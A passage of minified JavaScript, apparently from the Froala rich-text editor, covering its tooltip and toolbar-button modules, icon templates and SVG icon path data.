r(){p.helpers.isMobile()||p.$tooltip&&p.$tooltip.removeClass("fr-visible").css("left","-3000px").css("position","fixed")}function o(e,t){if(!p.helpers.isMobile()){var n=e.attr("id")&&e.attr("id").split("-")[0],r=e.attr("title"),o=p.opts.trackChangesEnabled,i=p.opts.showChangesEnabled;if(p.opts.toolbarContainer){for(var a=!1,s=0;s<Z.INSTANCES.length;s++)if(Z.INSTANCES[s].core.hasFocus()){o=Z.INSTANCES[s].opts.trackChangesEnabled,i=Z.INSTANCES[s].opts.showChangesEnabled,a=!0;break}a||(i=o=e.hasClass("fr-active"))}if("trackChanges"===n)r=o?"Disable Track Changes":"Enable Track Changes";else if("showChanges"===n)r=i?"Hide Changes":"Show Changes";else if(("applyAll"===n||"removeAll"===n||"applyLast"===n||"removeLast"===n)&&0===p.track_changes.getPendingChanges().length)return;if(e.data("title",r),e.data("title")){p.$tooltip||function f(){if(p.opts.tooltips&&!p.helpers.isMobile()){if(p.shared.$tooltip)p.$tooltip=p.shared.$tooltip;else{p.shared.$tooltip=u(p.doc.createElement("DIV")).addClass("fr-tooltip"),p.$tooltip=p.shared.$tooltip,p.opts.theme&&p.$tooltip.addClass("".concat(p.opts.theme,"-theme"));var e={};p.$wp&&0<p.$wp.length&&(e=p.$wp.closest("dialog")),0<e.length?e.first().append(p.$tooltip):u(p.o_doc).find("body").first().append(p.$tooltip)}p.events.on("shared.destroy",function(){p.$tooltip.html("").removeData().remove(),p.$tooltip=null},!0)}}(),e.removeAttr("title"),p.$tooltip.text(p.language.translate(e.data("title"))),p.$tooltip.addClass("fr-visible");var l=e.offset().left+(e.outerWidth()-p.$tooltip.outerWidth())/2;l<0&&(l=0),l+p.$tooltip.outerWidth()>u(p.o_win).width()&&(l=u(p.o_win).width()-p.$tooltip.outerWidth()),void 0===t&&(t=p.opts.toolbarBottom),e.offset().top-u(window).scrollTop()+e.outerHeight()+10>=u(window).height()&&(t=!0);var c=t?e.offset().top-p.$tooltip.height():e.offset().top+e.outerHeight();p.$tooltip.css("position",""),p.$tooltip.css("left",l),p.$tooltip.css("top",Math.ceil(c));var d={};p.$wp&&0<p.$wp.length&&(d=p.$wp.closest("dialog")),0<d.length?(p.$tooltip.css("margin-left",-d.first().offset().left),p.$tooltip.css("margin-top",-d.first().offset().top)):"static"!==u(p.o_doc).find("body").first().css("position")?(p.$tooltip.css("margin-left",-u(p.o_doc).find("body").first().offset().left),p.$tooltip.css("margin-top",-u(p.o_doc).find("body").first().offset().top)):(p.$tooltip.css("margin-left",""),p.$tooltip.css("margin-top",""))}}}return{hide:r,to:o,bind:function i(e,t,n){p.opts.tooltips&&!p.helpers.isMobile()&&(p.events.$on(e,"mouseover",t,function(e){p.node.hasClass(e.currentTarget,"fr-disabled")||p.edit.isDisabled()||o(u(e.currentTarget),n)},!0),p.events.$on(e,"mouseout ".concat(p._mousedown," ").concat(p._mouseup),t,function(){r()},!0))}}},Z.TOOLBAR_VISIBLE_BUTTONS=3,Z.MODULES.button=function(g){var h=g.$,a=[];(g.opts.toolbarInline||g.opts.toolbarContainer)&&(g.shared.buttons||(g.shared.buttons=[]),a=g.shared.buttons);var s=[];function l(e,t,n){for(var r=h(),o=0;o<e.length;o++){var i=h(e[o]);if(i.is(t)&&(r=r.add(i)),n&&i.is(".fr-dropdown")){var a=i.next().find(t);r=r.add(a)}}return r}function C(e,t){var n,r=h();if(!e)return r;for(n in r=(r=r.add(l(a,e,t))).add(l(s,e,t)),g.shared.popups)if(Object.prototype.hasOwnProperty.call(g.shared.popups,n)){var o=g.shared.popups[n].children().find(e);r=r.add(o)}for(n in g.shared.modals)if(Object.prototype.hasOwnProperty.call(g.shared.modals,n)){var i=g.shared.modals[n].$modal.find(e);r=r.add(i)}return r}function i(e){var t=e.next(),n=g.node.hasClass(e.get(0),"fr-active"),r=C(".fr-dropdown.fr-active").not(e),o=e.parents(".fr-toolbar, .fr-popup").data("instance")||g;o.helpers.isIOS()&&!o.el.querySelector(".fr-marker")&&(o.selection.save(),o.selection.clear(),o.selection.restore()),t.parents(".fr-more-toolbar").addClass("fr-overflow-visible");var i=0,a=0,s=t.find("> .fr-dropdown-wrapper");if(!n){var l=e.data("cmd");t.find(".fr-command").removeClass("fr-active").attr("aria-selected",!1),Z.COMMANDS[l]&&Z.COMMANDS[l].refreshOnShow&&Z.COMMANDS[l].refreshOnShow.apply(o,[e,t]),t.css("left",e.offset().left-e.parents(".fr-btn-wrap, .fr-toolbar, .fr-buttons").offset().left-("rtl"===g.opts.direction?t.width()-e.outerWidth():0)),t.addClass("test-height"),i=t.outerHeight(),a=g.helpers.getPX(s.css("max-height")),t.removeClass("test-height"),t.css("top","").css("bottom","");var c=e.outerHeight()/10;if(!g.opts.toolbarBottom&&t.offset().top+e.outerHeight()+i<h(g.o_doc).height())t.css("top",e.position().top+e.outerHeight()-c);else{var d=0,f=e.parents(".fr-more-toolbar");0<f.length&&(d=f.first().height()),t.css("bottom",e.parents(".fr-popup, .fr-toolbar").first().height()-d-e.position().top)}}(e.addClass("fr-blink").toggleClass("fr-active"),e.hasClass("fr-options"))&&e.prev().toggleClass("fr-expanded");e.hasClass("fr-active")?(t.attr("aria-hidden",!1),e.attr("aria-expanded",!0),function u(e,t,n){n<=t&&(e.parent().css("overflow","auto"),e.parent().css("overflow-x","hidden")),e.css("height",Math.min(t,n))}(s,i,a)):(t.attr("aria-hidden",!0).css("overflow",""),e.attr("aria-expanded",!1),s.css("height","")),setTimeout(function(){e.removeClass("fr-blink")},300),t.css("margin-left",""),t.offset().left+t.outerWidth()>g.$sc.offset().left+g.$sc.width()&&t.css("margin-left",-(t.offset().left+t.outerWidth()-g.$sc.offset().left-g.$sc.width())),t.offset().left<g.$sc.offset().left&&"rtl"===g.opts.direction&&t.css("margin-left",g.$sc.offset().left),r.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),r.prev(".fr-expanded").removeClass("fr-expanded"),r.parents(".fr-toolbar:not(.fr-inline)").css("zIndex",""),0!==e.parents(".fr-popup").length||g.opts.toolbarInline||(g.node.hasClass(e.get(0),"fr-active")?g.$tb.css("zIndex",(g.opts.zIndex||1)+4):g.$tb.css("zIndex",""));var p=t.find("a.fr-command.fr-active").first();g.helpers.isMobile()||(p.length?(g.accessibility.focusToolbarElement(p),s.scrollTop(Math.abs(p.parents(".fr-dropdown-content").offset().top-p.offset().top)-p.offset().top)):(g.accessibility.focusToolbarElement(e),s.scrollTop(0)))}function c(e){e.addClass("fr-blink"),setTimeout(function(){e.removeClass("fr-blink")},500);for(var t=e.data("cmd"),n=[];void 0!==e.data("param".concat(n.length+1));)n.push(e.data("param".concat(n.length+1)));var r=C(".fr-dropdown.fr-active");r.length&&(r.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),r.prev(".fr-expanded").removeClass("fr-expanded"),r.parents(".fr-toolbar:not(.fr-inline)").css("zIndex","")),e.parents(".fr-popup, .fr-toolbar").data("instance").commands.exec(t,n)}function t(e){var t=e.parents(".fr-popup, .fr-toolbar").data("instance"),n=g.popups.get("link.insert");if(0===e.parents(".fr-popup").length&&e.data("popup")&&!e.hasClass("fr-btn-active-popup")&&(e.attr("id")==="insertLink-".concat(g.id)&&n&&n.hasClass("fr-active")||e.addClass("fr-btn-active-popup")),0!==e.parents(".fr-popup").length||e.data("popup")||t.popups.hideAll(),t.popups.areVisible()&&!t.popups.areVisible(t)){for(var r=0;r<Z.INSTANCES.length;r++)Z.INSTANCES[r]!==t&&Z.INSTANCES[r].popups&&Z.INSTANCES[r].popups.areVisible()&&Z.INSTANCES[r].$el.find(".fr-marker").remove();t.popups.hideAll()}g.node.hasClass(e.get(0),"fr-dropdown")?i(e):(!function o(e){c(e)}(e),Z.COMMANDS[e.data("cmd")]&&!1!==Z.COMMANDS[e.data("cmd")].refreshAfterCallback&&t.button.bulkRefresh())}function d(e){t(h(e.currentTarget))}function f(e){var t=e.find(".fr-dropdown.fr-active");t.length&&(t.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),t.parents(".fr-toolbar:not(.fr-inline)").css("zIndex",""),t.prev().removeClass("fr-expanded"))}function p(e){e.preventDefault(),e.stopPropagation()}function u(e){if(e.stopPropagation(),!g.helpers.isMobile())return!1}function m(e){var t=1<arguments.length&&arguments[1]!==undefined?arguments[1]:{},n=2<arguments.length?arguments[2]:undefined;if(g.helpers.isMobile()&&!1===t.showOnMobile)return"";var r=t.displaySelection;"function"==typeof r&&(r=r(g));var o="";if("options"!==t.type)if(r){var i="function"==typeof t.defaultSelection?t.defaultSelection(g):t.defaultSelection;o='<span style="width:'.concat(t.displaySelectionWidth||100,'px">').concat(g.language.translate(i||t.title),"</span>")}else o=g.icon.create(t.icon||e),o+='<span class="fr-sr-only">'.concat(g.language.translate(t.title)||"","</span>");var a=t.popup?' data-popup="true"':"",s=t.modal?' data-modal="true"':"",l=g.shortcuts.get("".concat(e,"."));l=l?" (".concat(l,")"):"";var c="".concat(e,"-").concat(g.id),d="dropdown-menu-".concat(c),f='<button id="'.concat(c,'"').concat(t.more_btn?' data-group-name="'.concat(c,'" '):"",'type="button" tabIndex="-1" role="button"').concat(t.toggle?' aria-pressed="false"':"").concat("dropdown"===t.type||"options"===t.type?' aria-controls="'.concat(d,'" aria-expanded="false" aria-haspopup="true"'):"").concat(t.disabled?' aria-disabled="true"':"",' title="').concat(g.language.translate(t.title)||"").concat(l,'" class="fr-command fr-btn').concat("dropdown"===t.type||"options"==t.type?" fr-dropdown":"").concat("options"==t.type?" fr-options":"").concat("more"==t.type?" fr-more":"").concat(t.displaySelection?" fr-selection":"").concat(t.back?" fr-back":"").concat(t.disabled?" fr-disabled":"").concat(n?"":" fr-hidden",'" data-cmd="').concat(e,'"').concat(a).concat(s,">").concat(o,"</button>");if("dropdown"===t.type||"options"===t.type){var p='<div id="'.concat(d,'" class="fr-dropdown-menu" role="listbox" aria-labelledby="').concat(c,'" aria-hidden="true"><div class="fr-dropdown-wrapper" role="presentation"><div class="fr-dropdown-content" role="presentation">');p+=function u(e,t){var n="";if(t.html)"function"==typeof t.html?n+=t.html.call(g):n+=t.html;else{var r=t.options;for(var o in"function"==typeof r&&(r=r()),n+='<ul class="fr-dropdown-list" role="presentation">',r)if(Object.prototype.hasOwnProperty.call(r,o)){var i=g.shortcuts.get("".concat(e,".").concat(o));i=i?'<span class="fr-shortcut">'.concat(i,"</span>"):"",n+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="'.concat("options"===t.type?e.replace(/Options/g,""):e,'" data-param1="').concat(o,'" title="').concat(r[o],'">').concat(g.language.translate(r[o]),"</a></li>")}n+="</ul>"}return n}(e,t),f+=p+="</div></div></div>"}return t.hasOptions&&t.hasOptions.apply(g)&&(f='<div class="fr-btn-wrap">'.concat(f," ").concat(m(e+"Options",Object.assign({},t,{type:"options",hasOptions:!1}),n)," </div>")),f}function e(o){var i=g.$tb&&g.$tb.data("instance")||g;if(!1===g.events.trigger("buttons.refresh"))return!0;setTimeout(function(){for(var e=i.selection.inEditor()&&i.core.hasFocus(),t=0;t<o.length;t++){var n=h(o[t]),r=n.data("cmd");0===n.parents(".fr-popup").length?e||Z.COMMANDS[r]&&Z.COMMANDS[r].forcedRefresh?i.button.refresh(n):g.node.hasClass(n.get(0),"fr-dropdown")||(n.removeClass("fr-active"),n.attr("aria-pressed")&&n.attr("aria-pressed",!1)):n.parents(".fr-popup").isVisible()&&i.button.refresh(n)}},0)}function n(){e(a),e(s)}function r(){a=[],s=[]}g.shared.popup_buttons||(g.shared.popup_buttons=[]),s=g.shared.popup_buttons;var o=null;function v(){clearTimeout(o),o=setTimeout(n,50)}return{_init:function b(){g.opts.toolbarInline?g.events.on("toolbar.show",n):(g.events.on("mouseup",v),g.events.on("keyup",v),g.events.on("blur",v),g.events.on("focus",v),g.events.on("contentChanged",v),g.helpers.isMobile()&&g.events.$on(g.$doc,"selectionchange",n)),g.events.on("shared.destroy",r)},build:m,buildList:function L(e,t){for(var n="",r=0;r<e.length;r++){var o=e[r],i=Z.COMMANDS[o];i&&"undefined"!=typeof i.plugin&&g.opts.pluginsEnabled.indexOf(i.plugin)<0||(i?n+=m(o,i,void 0===t||0<=t.indexOf(o)):"|"===o?n+='<div class="fr-separator fr-vs" role="separator" aria-orientation="vertical"></div>':"-"===o&&(n+='<div class="fr-separator fr-hs" role="separator" aria-orientation="horizontal"></div>'))}return n},buildGroup:function E(e){var t="",n="";for(var r in e){var o=e[r];if(o.buttons){for(var i="",a="",s=0,l="left",c=Z.TOOLBAR_VISIBLE_BUTTONS,d=0;d<o.buttons.length;d++){var f=o.buttons[d],p=Z.COMMANDS[f];p||("|"==f?i+='<div class="fr-separator fr-vs" role="separator" aria-orientation="vertical"></div>':"-"==f&&(i+='<div class="fr-separator fr-hs" role="separator" aria-orientation="horizontal"></div>')),!p||p&&"undefined"!=typeof p.plugin&&g.opts.pluginsEnabled.indexOf(p.plugin)<0||(e[r].align!==undefined&&(l=e[r].align),e[r].buttonsVisible!==undefined&&(c=e[r].buttonsVisible),e.showMoreButtons&&c<=s?a+=m(f,p,!0):i+=m(f,p,!0),s++)}if(e.showMoreButtons&&c<s){var u=r,h=Z.COMMANDS[u];h.more_btn=!0,i+=m(u,h,!0)}"trackChanges"!==r&&(t+='<div class="fr-btn-grp fr-float-'.concat(l,'">').concat(i,"</div>")),e.showMoreButtons&&0<a.length&&(n+='<div class="fr-more-toolbar" data-name="'.concat(r+"-"+g.id,'">').concat(a,"</div>"))}}return g.opts.toolbarBottom?g.helpers.isMobile()?'<div class="fr-bottom-extended">'.concat(n,"</div><div>").concat(t,"</div>"):"".concat(n,'<div class="fr-newline"></div>').concat(t):"".concat(t,'<div class="fr-newline"></div>').concat(n)},bindCommands:function y(t,e){g.events.bindClick(t,".fr-command:not(.fr-disabled)",d),g.events.$on(t,"".concat(g._mousedown," ").concat(g._mouseup," ").concat(g._move),".fr-dropdown-menu",p,!0),g.events.$on(t,"".concat(g._mousedown," ").concat(g._mouseup," ").concat(g._move),".fr-dropdown-menu .fr-dropdown-wrapper",u,!0);var n=t.get(0).ownerDocument,r="defaultView"in n?n.defaultView:n.parentWindow;function o(e){(!e||e.type===g._mouseup&&e.target!==h("html").get(0)||"keydown"===e.type&&(g.keys.isCharacter(e.which)&&!g.keys.ctrlKey(e)||e.which===Z.KEYCODE.ESC))&&(f(t),g.opts.iframe&&function r(e){var t=e.find(".fr-popup.fr-active");if(t.length){t.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),t.parents(".fr-toolbar:not(.fr-inline)").css("zIndex",""),t.prev().removeClass("fr-expanded");var n=g.$tb.find(".fr-btn-active-popup");h(n[0]).removeClass("fr-btn-active-popup")}}(t))}g.events.$on(h(r),"".concat(g._mouseup," resize keydown"),o,!0),g.opts.iframe&&g.events.$on(g.$win,g._mouseup,o,!0),g.node.hasClass(t.get(0),"fr-popup")?h.merge(s,t.find(".fr-btn").toArray()):h.merge(a,t.find(".fr-btn").toArray()),g.tooltip.bind(t,".fr-btn, .fr-title",e)},refresh:function S(e){var t,n=e.parents(".fr-popup, .fr-toolbar").data("instance")||g,r=e.data("cmd");g.node.hasClass(e.get(0),"fr-dropdown")?t=e.next():(e.removeClass("fr-active"),e.attr("aria-pressed")&&e.attr("aria-pressed",!1)),Z.COMMANDS[r]&&Z.COMMANDS[r].refresh?Z.COMMANDS[r].refresh.apply(n,[e,t]):g.refresh[r]&&n.refresh[r](e,t)},bulkRefresh:n,exec:c,click:t,hideActiveDropdowns:f,addButtons:function N(e){for(var t=0;t<e.length;t++)a.push(e[t])},getButtons:C,getPosition:function T(e){var t=e.offset().left,n=g.opts.toolbarBottom?10:e.outerHeight()-10;return{left:t,top:e.offset().top+n}}}},Z.ICON_TEMPLATES={font_awesome:'<i class="fa fa-[NAME]" aria-hidden="true"></i>',font_awesome_5:'<i class="fas fa-[FA5NAME]" aria-hidden="true"></i>',font_awesome_5r:'<i class="far fa-[FA5NAME]" aria-hidden="true"></i>',font_awesome_5l:'<i class="fal fa-[FA5NAME]" aria-hidden="true"></i>',font_awesome_5b:'<i class="fab fa-[FA5NAME]" aria-hidden="true"></i>',text:'<span style="text-align: center;">[NAME]</span>',image:"<img src=[SRC] alt=[ALT] />",svg:'<svg class="fr-svg" focusable="false" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="[PATH]"/></svg>',svgMultiplePath:'<svg class="fr-svg" focusable="false" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">[PATHS]</svg>',empty:" "},Z.ICONS={bold:{NAME:"bold",SVG_KEY:"bold"},italic:{NAME:"italic",SVG_KEY:"italic"},underline:{NAME:"underline",SVG_KEY:"underline"},strikeThrough:{NAME:"strikethrough",SVG_KEY:"strikeThrough"},subscript:{NAME:"subscript",SVG_KEY:"subscript"},superscript:{NAME:"superscript",SVG_KEY:"superscript"},cancel:{NAME:"cancel",SVG_KEY:"cancel"},color:{NAME:"tint",SVG_KEY:"textColor"},outdent:{NAME:"outdent",SVG_KEY:"outdent"},indent:{NAME:"indent",SVG_KEY:"indent"},undo:{NAME:"rotate-left",FA5NAME:"undo",SVG_KEY:"undo"},redo:{NAME:"rotate-right",FA5NAME:"redo",SVG_KEY:"redo"},insert:{NAME:"insert",SVG_KEY:"insert"},insertAll:{NAME:"insertAll",SVG_KEY:"insertAll"},insertHR:{NAME:"minus",SVG_KEY:"horizontalLine"},clearFormatting:{NAME:"eraser",SVG_KEY:"clearFormatting"},selectAll:{NAME:"mouse-pointer",SVG_KEY:"selectAll"},minimize:{NAME:"minimize",SVG_KEY:"minimize"},moreText:{NAME:"ellipsis-v",SVG_KEY:"textMore"},moreParagraph:{NAME:"ellipsis-v",SVG_KEY:"paragraphMore"},moreRich:{NAME:"ellipsis-v",SVG_KEY:"insertMore"},moreMisc:{NAME:"ellipsis-v",SVG_KEY:"more"}},Z.DefineIconTemplate=function(e,t){Z.ICON_TEMPLATES[e]=t},Z.DefineIcon=function(e,t){Z.ICONS[e]=t},Object.assign(Z.DEFAULTS,{iconsTemplate:"svg"}),Z.MODULES.icon=function(o){return{create:function i(n){var e=null,r=Z.ICONS[n];if(void 0!==r){var t=r.template||Z.ICON_DEFAULT_TEMPLATE||o.opts.iconsTemplate;t&&t.apply&&(t=t.apply(o)),r.FA5NAME||(r.FA5NAME=r.NAME),"svg"!==t||r.PATH||(r.PATH=Z.SVG[r.SVG_KEY]||""),t&&(t=Z.ICON_TEMPLATES[t])&&(e=t.replace(/\[([a-zA-Z0-9]*)\]/g,function(e,t){return"NAME"===t?r[t]||n:r[t]}))}return e||n},getTemplate:function r(e){var t=Z.ICONS[e],n=o.opts.iconsTemplate;return void 0!==t?n=t.template||Z.ICON_DEFAULT_TEMPLATE||o.opts.iconsTemplate:n},getFileIcon:function n(e){var t=Z.FILEICONS[e];return void 0!==t?t:e}}},Z.SVG={imageTransformations:"M3 5.8h2.8V3H3v2.8Zm0 7.6h2.8v-2.8H3v2.8Zm15.2 0H21v-2.8h-2.8v2.8Zm-7.6-7.6h2.8V3h-2.8v2.8Zm0 14.2h2.8v-2.8h-2.8V20ZM3 20h2.8v-2.8H3V20ZM18.2 5.8H21V3h-2.8v2.8Zm0 14.2H21v-2.8h-2.8V20ZM6.8 4.9h2.8V4H6.8v.9Zm0 14.2h2.8v-.9H6.8v.9Zm7.6-14.2h2.8V4h-2.8v.9Zm0 14.2h2.8v-.9h-2.8v.9ZM3.9 9.6h.9V6.8h-.9v2.8Zm15.2 0h.9V6.8h-.9v2.8ZM3.9 16.2h.9v-1.9h-.9v1.9Zm15.2 0h.9v-1.9h-.9v1.9ZM15.8 14l-2.2 2.3V14h2.2Zm0-6.8v6.2H15V8H9v7.3h4.1v.9H8.2v-9h7.6Zm-4.3 5.3v.8h-.8v-.8h.8Zm1.3-1.4v.8h-2.2v-.8h2.2Zm.6-1.5v.8h-2.7v-.8h2.7Z",filestackIcon:"M19 16.5 15 21v-4.5h4Zm0-1.125h-1.5V4.687h-11v14.625l7.5.001V21H5V3h14v12.375Zm-8-1.687v1.687H9.5v-1.687H11Zm2.5-2.813v1.687h-4v-1.687h4Zm1-2.813v1.687h-5V8.062h5Z",add:"M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6V13z",advancedImageEditor:"M3,17v2h6v-2H3z M3,5v2h10V5H3z M13,21v-2h8v-2h-8v-2h-2v6H13z M7,9v2H3v2h4v2h2V9H7z M21,13v-2H11v2H21z M15,9h2V7h4V5h-4 V3h-2V9z",alignCenter:"M9,18h6v-2H9V18z M6,11v2h12v-2H6z M3,6v2h18V6H3z",alignJustify:"M3,18h18v-2H3V18z M3,11v2h18v-2H3z M3,6v2h18V6H3z",alignLeft:"M3,18h6v-2H3V18z M3,11v2h12v-2H3z M3,6v2h18V6H3z",alignRight:"M15,18h6v-2h-6V18z M9,11v2h12v-2H9z M3,6v2h18V6H3z",anchors:"M16,4h-4H8C6.9,4,6,4.9,6,6v4v10l6-2.6l6,2.6V10V6C18,4.9,17.1,4,16,4z M16,17l-4-1.8L8,17v-7V6h4h4v4V17z",autoplay:"M 7.570312 0.292969 C 7.542969 0.292969 7.515625 0.292969 7.488281 0.296875 C 7.203125 0.324219 6.984375 0.539062 6.980469 0.792969 L 6.925781 3.535156 C 2.796875 3.808594 -0.0078125 6.425781 -0.0859375 10.09375 C -0.121094 11.96875 0.710938 13.6875 2.265625 14.921875 C 3.769531 16.117188 5.839844 16.796875 8.097656 16.828125 C 8.140625 16.828125 12.835938 16.898438 13.035156 16.886719 C 15.171875 16.796875 17.136719 16.128906 18.558594 15.003906 C 20.066406 13.816406 20.882812 12.226562 20.917969 10.40625 C 20.960938 8.410156 20.023438 6.605469 18.289062 5.335938 C 18.214844 5.277344 18.128906 5.230469 18.035156 5.203125 C 17.636719 5.074219 17.222656 5.199219 17 5.476562 L 15.546875 7.308594 C 15.304688 7.609375 15.363281 8.007812 15.664062 8.265625 C 16.351562 8.851562 16.707031 9.625 16.6875 10.5 C 16.652344 12.25 15.070312 13.390625 12.757812 13.535156 C 12.59375 13.539062 8.527344 13.472656 8.164062 13.464844 C 5.703125 13.429688 4.101562 12.191406 4.140625 10.3125 C 4.175781 8.570312 5.132812 7.46875 6.847656 7.199219 L 6.796875 9.738281 C 6.792969 9.992188 7 10.214844 7.285156 10.253906 C 7.3125 10.257812 7.339844 10.257812 7.367188 10.257812 C 7.503906 10.261719 7.632812 10.222656 7.738281 10.148438 L 14.039062 5.785156 C 14.171875 5.691406 14.253906 5.558594 14.253906 5.410156 C 14.257812 5.261719 14.1875 5.125 14.058594 5.027344 L 7.941406 0.414062 C 7.835938 0.335938 7.707031 0.292969 7.570312 0.292969 ",back:"M20 11L7.83 11 11.425 7.405 10.01 5.991 5.416 10.586 5.414 10.584 4 11.998 4.002 12 4 12.002 5.414 13.416 5.416 13.414 10.01 18.009 11.425 16.595 7.83 13 20 13 20 13 20 11 20 11Z",backgroundColor:"M9.91752,12.24082l7.74791-5.39017,1.17942,1.29591-6.094,7.20747L9.91752,12.24082M7.58741,12.652l4.53533,4.98327a.93412.93412,0,0,0,1.39531-.0909L20.96943,8.7314A.90827.90827,0,0,0,20.99075,7.533l-2.513-2.76116a.90827.90827,0,0,0-1.19509-.09132L7.809,11.27135A.93412.93412,0,0,0,7.58741,12.652ZM2.7939,18.52772,8.41126,19.5l1.47913-1.34617-3.02889-3.328Z",blockquote:"M10.31788,5l.93817,1.3226A12.88271,12.88271,0,0,0,8.1653,9.40125a5.54242,5.54242,0,0,0-.998,3.07866v.33733q.36089-.04773.66067-.084a4.75723,4.75723,0,0,1,.56519-.03691,2.87044,2.87044,0,0,1,2.11693.8427,2.8416,2.8416,0,0,1,.8427,2.09274,3.37183,3.37183,0,0,1-.8898,2.453A3.143,3.143,0,0,1,8.10547,19,3.40532,3.40532,0,0,1,5.375,17.7245,4.91156,4.91156,0,0,1,4.30442,14.453,9.3672,9.3672,0,0,1,5.82051,9.32933,14.75716,14.75716,0,0,1,10.31788,5Zm8.39243,0,.9369,1.3226a12.88289,12.88289,0,0,0-3.09075,3.07865,5.54241,5.54241,0,0,0-.998,3.07866v.33733q.33606-.04773.63775-.084a4.91773,4.91773,0,0,1,.58938-.03691,2.8043,2.8043,0,0,1,2.1042.83,2.89952,2.89952,0,0,1,.80578,2.10547,3.42336,3.42336,0,0,1-.86561,2.453A3.06291,3.06291,0,0,1,16.49664,19,3.47924,3.47924,0,0,1,13.742,17.7245,4.846,4.846,0,0,1,12.64721,14.453,9.25867,9.25867,0,0,1,14.17476,9.3898,15.26076,15.26076,0,0,1,18.71031,5Z",bold:"M15.25,11.8h0A3.68,3.68,0,0,0,17,9a3.93,3.93,0,0,0-3.86-4H6.65V19h7a3.74,3.74,0,0,0,3.7-3.78V15.1A3.64,3.64,0,0,0,15.25,11.8ZM8.65,7h4.2a2.09,2.09,0,0,1,2,1.3,2.09,2.09,0,0,1-1.37,2.61,2.23,2.23,0,0,1-.63.09H8.65Zm4.6,10H8.65V13h4.6a2.09,2.09,0,0,1,2,1.3,2.09,2.09,0,0,1-1.37,2.61A2.23,2.23,0,0,1,13.25,17Z",cancel:"M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z",cellBackground:"M16.6,12.4L7.6,3.5L6.2,4.9l2.4,2.4l-5.2,5.2c-0.6,0.6-0.6,1.5,0,2.1l5.5,5.5c0.3,0.3,0.7,0.4,1.1,0.4s0.8-0.1,1.1-0.4 l5.5-5.5C17.2,14,17.2,13,16.6,12.4z M5.2,13.5L10,8.7l4.8,4.8H5.2z M19,15c0,0-2,2.2-2,3.5c0,1.1,0.9,2,2,2s2-0.9,2-2 C21,17.2,19,15,19,15z",cellBorderColor:"M22,22H2v2h20V22z",cellOptions:"M20,5H4C2.9,5,2,5.9,2,7v10c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V7C22,5.9,21.1,5,20,5z M9.5,6.5h5V9h-5V6.5z M8,17.5H4 c-0.3,0-0.5-0.2-0.5-0.4c0,0,0,0,0,0V17v-2H8V17.5z M8,13.5H3.5v-3H8V13.5z M8,9H3.5V7c0-0.3,0.2-0.5,0.4-0.5c0,0,0,0,0,0H8V9z M14.5,17.5h-5V15h5V17.5z M20.5,17c0,0.3-0.2,0.5-0.4,0.5c0,0,0,0,0,0H16V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M20.5,9H16V6.5h4 c0.3,0,0.5,0.2,0.5,0.4c0,0,0,0,0,0V9z",cellStyle:"M20,19.9l0.9,3.6l-3.2-1.9l-3.3,1.9l0.8-3.6L12.3,17h3.8l1.7-3.5l1.4,3.5H23L20,19.9z M20,5H4C2.9,5,2,5.9,2,7v10 c0,1.1,0.9,2,2,2h7.5l-0.6-0.6L10,17.5H9.5V15h5.4l1.1-2.3v-2.2h4.5v3H20l0.6,1.5H22V7C22,5.9,21.1,5,20,5z M3.5,7 c0-0.3,0.2-0.5,0.4-0.5c0,0,0,0,0.1,0h4V9H3.5V7z M3.5,10.5H8v3H3.5V10.5z M4,17.5c-0.3,0-0.5-0.2-0.5-0.4c0,0,0,0,0-0.1v-2H8v2.5H4 z M14.5,9h-5V6.5h5V9z M20.5,9H16V6.5h4c0.3,0,0.5,0.2,0.5,0.4c0,0,0,0,0,0.1V9z",clearFormatting:"M11.48,10.09l-1.2-1.21L8.8,7.41,6.43,5,5.37,6.1,8.25,9,4.66,19h2l1.43-4h5.14l1.43,4h2l-.89-2.51L18.27,19l1.07-1.06L14.59,13.2ZM8.8,13l.92-2.56L12.27,13Zm.56-7.15L9.66,5h2l1.75,4.9Z",close:"M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z",codeView:"M9.4,16.6,4.8,12,9.4,7.4,8,6,2,12l6,6Zm5.2,0L19.2,12,14.6,7.4,16,6l6,6-6,6Z",cogs:"M18.877 12.907a6.459 6.459 0 0 0 0 -1.814l1.952 -1.526a0.468 0.468 0 0 0 0.111 -0.593l-1.851 -3.2a0.461 0.461 0 0 0 -0.407 -0.231 0.421 0.421 0 0 0 -0.157 0.028l-2.3 0.925a6.755 6.755 0 0 0 -1.563 -0.907l-0.352 -2.452a0.451 0.451 0 0 0 -0.453 -0.388h-3.7a0.451 0.451 0 0 0 -0.454 0.388L9.347 5.588A7.077 7.077 0 0 0 7.783 6.5l-2.3 -0.925a0.508 0.508 0 0 0 -0.166 -0.028 0.457 0.457 0 0 0 -0.4 0.231l-1.851 3.2a0.457 0.457 0 0 0 0.111 0.593l1.952 1.526A7.348 7.348 0 0 0 5.063 12a7.348 7.348 0 0 0 0.064 0.907L3.175 14.433a0.468 0.468 0 0 0 -0.111 0.593l1.851 3.2a0.461 0.461 0 0 0 0.407 0.231 0.421 0.421 0 0 0 0.157 -0.028l2.3 -0.925a6.74 6.74 0 0 0 1.564 0.907L9.7 20.864a0.451 0.451 0 0 0 0.454 0.388h3.7a0.451 0.451 0 0 0 0.453 -0.388l0.352 -2.452a7.093 7.093 0 0 0 1.563 -0.907l2.3 0.925a0.513 0.513 0 0 0 0.167 0.028 0.457 0.457 0 0 0 0.4 -0.231l1.851 -3.2a0.468 0.468 0 0 0 -0.111 -0.593Zm-0.09 2.029l-0.854 1.476 -2.117 